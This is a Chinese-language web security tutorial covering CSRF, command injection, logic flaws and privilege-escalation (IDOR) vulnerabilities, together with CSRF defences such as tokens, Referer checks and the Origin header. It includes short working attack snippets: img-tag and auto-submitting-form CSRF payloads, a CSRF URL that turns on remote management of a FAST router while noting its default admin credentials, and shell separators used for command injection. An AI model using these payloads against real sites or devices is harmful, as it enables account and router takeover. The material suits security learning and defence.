现在的Web应用程序几乎都是使用Cookie来识别用户身份以及保存会话状态。浏览器在最初加入Cookie功能时并没有考虑安全因素。假设一个网站使用了Cookie，当一个用户完成身份验证之后．浏览器得到一个标识用户身份的Cookie，只要不退出或关闭浏览器。以后访问相同网站下的页面的时候，对每一个请求浏览器都会“智能”地主动附带上该网站的Cookie来标识自己，用户不需要重新认证就可以被网站识别。当第三方WEB页面产生了指向当前网站域下的请求时，该请求也会带上当前网站的Cookie。这种认证方式，称之为隐式认证。

不同浏览器对于Cookie的处理不尽相同，Internet Explorer默认阻止向第三方发送当前的Cookie，而Firefox和Chrome则默认没有限制。

现在很多用户上网使用多窗口或多标签页浏览器，例如傲游、Firefox、Opera等。这些浏览器在方便用户的同时也增大了风险，因为它们只有一个进程运行，Cookie在各个窗或标签页之问是共享的。

除了Cookie认证方式之外，其他Web认证机制也面临同样的问题。比如HTTP基本认证，用户通过认证后。浏览器仍会“智能”地把用户名和口令附加到之后第三方发给站点的请求中。即使网站使用了安全套接字(SSL)来加密连接．浏览器也会”智能“地自动把SSL认证信息加到第三方发给站点的请求中。

CSRF攻击

CSRF攻击能完成这些事：

• 删除、修改、新增目标站点上被攻击者的数据；
• JSON Hijacking等获取被攻击者的隐私数据；
• 作为其它攻击向量的辅助攻击手法；
• 使被攻击者成为黑客下一步攻击的跳板；
• 甚至可以实现CSRF蠕虫攻击。
• 等等

举个例子

假设某个网站（example．com）保存了用户的电子邮件地址信息．并且通过这个邮箱地址实现密码恢复等功能。网站仅采用了Cookie的隐式认证方式来验证用户．用户在验证登录后可以用如下这个URL来更改自己的邮件地址设置：http://www.example.com /setemail=邮件地址

那么攻击者只要创建一个HTML页面包含以下代码

< IMG src=“ http://www.example.com /setemail = 新邮件地址”>

当已经登录过example．com的用户访问这个页面的时候，浏览器就会向example．com发出请求改变用户的邮箱地址。

对于所有使用隐式的认证方式并且没有采取针对CSRF攻击的自我保护措施的网站，几乎都可能存在CSRF漏洞。

CSRF利用

GET类型的CSRF

这种类型的CSRF一般是由于程序员安全意识不强造成的。GET类型的CSRF利用非常简单，只需要一个HTTP请求，所以，一般会这样利用：

<img src=http://wooyun.org/csrf.php?xx=11 />

乌云例子：

http://wooyun.org/bugs/wooyun-2010-023783

http://wooyun.org/bugs/wooyun-2010-027258

POST类型的CSRF

这种类型的CSRF危害没有GET型的大，利用起来通常使用的是一个自动提交的表单，如：

<form action=http://wooyun.org/csrf.php method=POST>

<input type=“text” name=“xx” value=“11” />

</form>

<script> document.forms[0].submit(); </script>

访问该页面后，表单会自动提交，相当于模拟用户完成了一次POST操作。

乌云例子：

http://wooyun.org/bugs/wooyun-2010-026622

http://wooyun.org/bugs/wooyun-2010-022895

CSRF漏洞详细说明

CSRF的分类:

在跨站请求伪造（CSRF）攻击里面，攻击者通过用户的浏览器来注入额外的网络请求，来破坏一个网站会话的完整性。而浏览器的安全策略是允许当前页面发送到任何地址的请求，因此也就意味着当用户在浏览他/她无法控制的资源时，攻击者可以控制页面的内容来控制浏览器发送它精心构造的请求。

1、网络连接

例如，如果攻击者无法直接访问防火墙内的资源，他可以利用防火墙内用户的浏览器间接的对他所想访问的资源发送网络请求。甚至还有这样一种情况，攻击者为了绕过基于IP地址的验证策略，利用受害者的IP地址来发起他想发起的请求。

2、获知浏览器的状态

浏览器发送请求时，通常情况下，网络协议里包含了浏览器的状态。这其中包括很多，比如cookie，客户端证书或基于身份验证的header。因此，当攻击者借助浏览器向需要上述这些cookie，证书和header等作验证的站点发送请求的时候，站点则无法区分真实用户和攻击者。

3、改变浏览器的状态

当攻击者借助浏览器发起一个请求的时候，浏览器也会分析并相应服务端的response。举个例子，如果服务端的response里包含有一个Set-Cookie的header，浏览器会相应这个Set-Cookie，并修改存储在本地的cookie。

作用范围内的威胁

我们按照产生危害的大小将此部分分成三种不同的危害模型。

1、论坛可交互的地方

很多网站，比如论坛允许用户自定义有限种类的内容。举例来说，通常情况下，网站允许用户提交一些被动的如图像或链接等内容。如果攻击者让图像的url指向一个恶意的地址，那么本次网络请求很有可能导致CSRF攻击。这些地方都可以发起请求，但这些请求不能自定义HTTP header，而且必须使用GET方法。尽管HTTP协议规范要求请求不能带有危害，但是很多网站并不符合这一要求。

2、Web攻击者

在这里web攻击者的定义是指有自己的独立域名的恶意代理，比如attacker.com，并且拥有attacker.com的HTTPS证书和web服务器。所有的这些功能只需要花10美元即可以做到。一旦用户访问attacker.com，攻击者就可以同时用GET和POST方法发起跨站请求，即为CSRF攻击。

3、网络攻击者

这里的网络攻击者指的是能控制用户网络连接的恶意代理。比如，攻击者可以通过控制无线路由器或者DNS服务器来控制用户的网络连接。这种攻击比web攻击需要更多的资源和准备，但我们认为这对HTTPS站点也有威胁。因为HTTPS站点只能防护有源网络。

作用范围外的威胁

面我们还列出了一些不在本次讨论范围的相关危害模型。对这些危害的防御措施可以与CSRF的防御措施形成很好的互补。

1、跨站脚本（XSS）

如果攻击者能够向网站注入脚本，那么攻击者就会破坏该网站用户会话的完整性和保密性。有些XSS攻击需要发起网络请求，比如将用户银行账户里的钱转移到攻击者的账户里，但是通常情况下，对CSRF的防御并没有考虑到这些情况。考虑到更安全的做法，网站必须实现对XSS和CSRF的同时防御。

2、恶意软件

如果攻击者能够在用户的电脑上运行恶意软件，那么攻击者就可以控制用户的浏览器向那些可信的网站注入脚本。这时候基于浏览器的防御策略将会失效，因为攻击者可以用含有恶意插件的浏览器来替换用户的浏览器。

3、DNS的重新绑定

像CSRF一样，DNS重新绑定可以使用用户的IP地址来连接攻击者指定的服务器。处在防火墙保护内的服务器或者那些基于IP地址验证的服务器需要一个对抗DNS重新绑定的防御方案。尽管DNS重新绑定的攻击和CSRF攻击的意图非常相似，但是他们还是需要各自不同的解决方案。一个简单的解决DNS重新绑定攻击的方案就是要验证主机的HTTP请求header，确保包含有预期值。还有一个替代方案就是过滤DNS流量，防止将外部的DNS名称解析成内部私有地址。

登录CSRF

无论是利用浏览器的网络连接还是利用浏览器的状态，大多数对CSRF的讨论都集中在能改变服务端状态的请求上面。尽管CSRF攻击能通过改变浏览器的状态来对用户在访问可信网站时候造成危害，但是对它的重视程度还是不够。再登陆CSRF攻击里面，攻击者利用用户在可信网站的用户名和密码来对网站发起一个伪造请求。一旦请求成功，服务器端就会响应一个Set-Cookie的header，浏览器接收到以后就会建立一个session cookie，并记录用户的登陆状态。这个session cookie被用作绑定后续的请求，因而也可被攻击者用来作为身份验证。依据不同的网站，登陆CSRF攻击还可以造成很严重的后果。

搜索记录：包括谷歌和雅虎等很多搜索引擎允许他们的用户选择是否同意保存他们的搜索记录，并且为用户提供一个接口来查看他们自己的私人搜索记录。搜 索请求里面包含了用户的行为习惯和兴趣的一些敏感细节，攻击者可以利用这些细节来欺骗用户，盗窃用户的身份或者窥探用户。当攻击者以用户身份登陆到搜索引 擎里，就可以看到用户的搜索记录。如图1. 这样，用户的搜索查询记录就被存储到了攻击者的搜索记录里，攻击者就可以登陆自己的账户随便查询用户的搜索记录。

登陆CSRF攻击事件的跟踪图

受害人访问攻击者的网站

攻击者向谷歌伪造一个跨站点请求的登陆框，造成受害者被攻击者登陆到谷歌。

随后，受害者使用搜索的时候，搜索记录就被攻击者记录下来。

CSRF与XSS比较

Cross—Site Scripting Cxssl允许攻击者将恶意代码注入到受害网站的网页上，其他使用者在观看网页时就会受到影响。这类攻击通常包含了HTML以及客户端脚本语言。

XSS： 攻击者发现XSS漏洞——构造代码——发送给受害人——受害人打开——攻击者获取受害人的cookie——完成攻击

CSRF：攻击者发现CSRF漏洞——构造代码——发送给受害人——受害人打开——受害人执行代码——完成攻击

CSRF与之相比区别在于：XSS攻击需要借助脚本语言，CSRF攻击则未必需要脚本语言：XSS需要受害站点接受用户输人来保存恶意代码。而CSRF攻击可能从第三方网站发起；XSS产生的主要原因是对用户输入没有正确过滤．CSRF产生的主要原因是采用了隐式的认证方式。如果一个网站存在XSS漏洞。那么它很大可能也存在CSRF漏洞。即使一个网站能够完美地坊御XsS漏洞，却未必能够防御CSRF。

另外，CSRF与XSS也不是截然分开的，一个攻击可能既是CSRF攻击。又是XSS攻击。

攻击实例

还可以对本地网络设备进行CSRF攻击。

FAST无线宽带路由器的管理界面——远端WEB管理

在登录状态，被攻击者访问了带有CSRF攻击代码的网页时，就“被迫”开启了“远程WEB管理”功能。

CSRF攻击代码如下：

• <img src=http://192.168.1.1/userRpm/ManageControlRpm.htm?port=80&ip=255.255.255.255&Save=��+��>
• 使用GET方式发起的CSRF攻击。
• 通过社工等手法让被攻击者访问恶意站点的CSRF文件。
• FAST无线宽带路由器的WEB管理的默认用户名与密码：admin。

CSRF不一定需要浏览器：

• rar自解压文件内执行javascript，等。

rar自解压文件如何CSRF成功？

• 目标站点存放了本地cookie。

基于CSRF的攻击

基于CSRF的XSS攻击

基于CSRF的SQL注入攻击

基于CSRF的命令执行攻击

……

需要权限验证的漏洞可以使用基于CSRF的攻击手法。

现有的CSRF防御方案

一般网站有三种防御CSRF攻击的方案:

（1）验证token值。

（2）验证HTTP头的Referer。

（3）用XMLHttpRequest附加在header里。

以上三种方法都在广泛使用，但是他们的效果都不是那么的令人满意。

Token验证

在每个HTTP请求里附加一部分信息是一个防御CSRF攻击的很好的方法，因为这样可以判断请求是否已经授权。这个“验证token”应该不能轻易的被未登录的用户猜测出来。如果请求里面没有这个验证token或者token不能匹配的话，服务器应该拒绝这个请求。

Token验证的方法可以用来防御登陆CSRF，但是开发者往往会忘记验证，因为如果没有登陆，就不能通过session来绑定CSRF token。网站要想用验证token的方式来防御登陆CSRF攻击的话，就必须先创建一个“前session”，这样才能部署CSRF的防御方案，在验证通过了之后，再创建一个真正的session。

Referer

大多数情况下，当浏览器发起一个HTTP请求，其中的Referer标识了请求是从哪里发起的。如果HTTP头里包含有Referer的时候，我们可以区分请求是同域下还是跨站发起的，因为Referer离标明了发起请求的URL。网站也可以通过判断有问题的请求是否是同域下发起的来防御CSRF攻击。

不幸的是，通常Referer会包含有一些敏感信息，可能会侵犯用户的隐私。比如，Referer可以显示用户对某个私密网站的搜索和查询。尽管这 些内容对私密网站站长来说是好事，因为他们可以通过这些内容来优化搜索引擎排名，但是一些用户还是认为侵犯了他们的隐私。另外，许多组织也很担忧 Referer可能会将内网的一些机密信息泄露出去。

自定义HTTP header

我们也可以用自定义HTTP头的方法来防御CSRF攻击，因为虽然浏览器会阻止向外站发送自定义的HTTP头，但是允许向本站通过XMLHttpRequest的方式发送自定义HTTP头。比如，prototype.js这个JavaScript库就是使用这种方法，并且增加了 X-Requested-By头到XMLHttpRequest里面 。Google Web Toolkit 也建议开发者用在XMLHttpRequest里增加一个X-XSRF-Cookie头的方法来防御CSRF攻击，其中XMLHttpRequets包含有cookie的值。当然XMLHttpRequets里面的cookie并不需要用来防御CSRF，因为只需要有头部分就足够了。

Origin字段

为了防止CSRF的攻击，我们建议修改浏览器在发送POST请求的时候加上一个Origin字段，这个Origin字段主要是用来标识出最初请求是从哪里发起的。如果浏览器不能确定源在哪里，那么在发送的请求里面Origin字段的值就为空。

隐私方面：这种Origin字段的方式比Referer更人性化，因为它尊重了用户的隐私。

1、Origin字段里只包含是谁发起的请求，并没有其他信息 (通常情况下是方案，主机和活动文档URL的端口)。跟Referer不一样的是，Origin字段并没有包含涉及到用户隐私的URL路径和请求内容，这个尤其重要。

2、Origin字段只存在于POST请求，而Referer则存在于所有类型的请求

其他防御方式

还有某些重要的操作要输入验证码

修改密码时输入原密码

二次确认

各种CSRF案例

Flash CSRF

http://drops.wooyun.org/tips/688

浅谈路由CSRF危害，和非主流姿势

http://drops.wooyun.org/tips/721

针对TP-LINK的CSRF攻击来劫持DNS案例

http://drops.wooyun.org/papers/722

钓鱼邮件利用路由器CSRF漏洞劫持巴西网民DNS

http://www.freebuf.com/news/60099.html

TP-link TL-WR840N系列路由器存在CSRF漏洞，可修改任意配置

http://www.freebuf.com/vuls/56526.html

OpenVPN桌面客户端爆CSRF漏洞(可远程执行命令

http://www.freebuf.com/news/38479.html

利用点击劫持和CSRF对Google进行钓鱼攻击

http://www.freebuf.com/news/7618.html

命令注入漏洞

概论

Web程序代码中把用户提交的参数未做过滤就直接使用shell执行，攻击者可以执行任意系统命令。通常是通过修改HTTP请求头结合系统特殊的符号将要执行的命令注入。

常用的利用命令注入的的特殊符号:|,||,&,&&等符号

举例

PHP中执行系统命令的函数

Exec

System

Passthru

Popen

Proc_popen

Shell_exec

不同的函数使用方式和注意点不同，如果代码审计时遇到相关函数，需要留意是否存在命令注入漏洞

常见的命令注入的特殊符号

|：管道符号，将上一个命令的输出结果当做参数传入下一个命令

||：当上一个命令执行失败执行下一个命令

&：将上一个命令变为后台运行，继续运行下一个程序

&&：当上一个命令执行成功执行下一个命令

逻辑漏洞

权限和流程漏洞

• 越复杂的应用，权限和流程问题越多
• 运营商的后台系统
• 网上银行
• 支付系统
• 密码找回

常见的逻辑漏洞

应用系统漏洞

• 权限控制漏洞最常见和最普遍的漏洞，重点测试
• 查询其他账户余额
• 查询其他账户积分
• 查询其他账户身份信息
• 查询其他账户的其他相关信息
• 修改昵称
• 修改手机信息
• 修改业务开通功能

应用系统漏洞

• 数据校验问题,使用提交异常数据进行测试
• 提交负数/超大转账金额
• 提交负数/超大积分
• 账户控制
• 积分转换输入输出账户互换
• 转账输入输出账户互换

越权漏洞

越权漏洞是Web应用程序中一种常见的安全漏洞。它的威胁在于一个账户即可控制全站用户数据。当然这些数据仅限于存在漏洞功能对应的数据。越权漏洞的成因主要是开发人员在对数据进行增、删、改、查时对客户端请求的数据过于信任而遗漏了权限的判定。所以测试越权就是和开发人员拼细心的过程。越权漏洞可以理解为，一个正常的用户A通常只能够对自己的一些信息进行增删改查，但是由于程序员的一时疏忽未对信息进行增删改查的时候没有进行一个判断，判断所需要操作的信息是否属于对应的用户，可以导致用户A可以操作其他人的信息。

越权漏洞分类：

• 水平越权：权限不变，身份改变
• 垂直越权：身份不变，权限改变

越权漏洞利用方式

信息遍历

隐藏后台

Cookie绕过

JavaScript绕过

信息遍历

信息遍历

这段代码首先从 URL 参数中读取 ID，之后与现存 ID 比对，如果存在则输出 ID 和密码，不存在则报错。这里 ID 是被查询的信息，假设系统里一共就五个 ID。由于这里不存在过滤，那么我们可以不绕过任何东西来查询它们。

信息遍历属于水平越权，因为用户还是普通用户，但是身份变成了其它的普通用户。当遇到带有id=xxx的页面时，我们要留意它，因为这里可能存在越权漏洞。我们可以手动测试，将id改为其他值，也可以使用 Burp 的爆破功能来测试

隐藏后台

一些网站的后台不存在任何用户校验，反之，它会把后台隐藏起来。隐藏之后，公开页面上不存在任何到后台的链接，但是如果直接输入 URL，还是可以访问的。那我们就能使用扫描器扫出后台地址，然后直接访问。

隐藏式后台属于垂直越权，因为用户的身份没有变，但是它拥有了管理员权限。

Cookie绕过

通常网站是通过cookie来认证用户权限的，如果cookie加密算法太弱，或者cookie有规律，则可以通过修改cookie进行越权操作。

JavaScript绕过

JavaScript绕过则是把所有校验放在前端，比如，user.php的内容改为：

或者说请求的时候在请求包的首行写一行跳转代码，后面跟着页面数据，如果验证失败则跳转，成功则显示页面数据，如下面的代码：

这种情况下删除JavaScript跳转代码便可以越权访问页面，不过可能无法进行操作，只能看到显示页面。

参考案例

密码找回逻辑漏洞总结:

http://drops.wooyun.org/web/5048

在线支付逻辑漏洞总结:

http://drops.wooyun.org/papers/345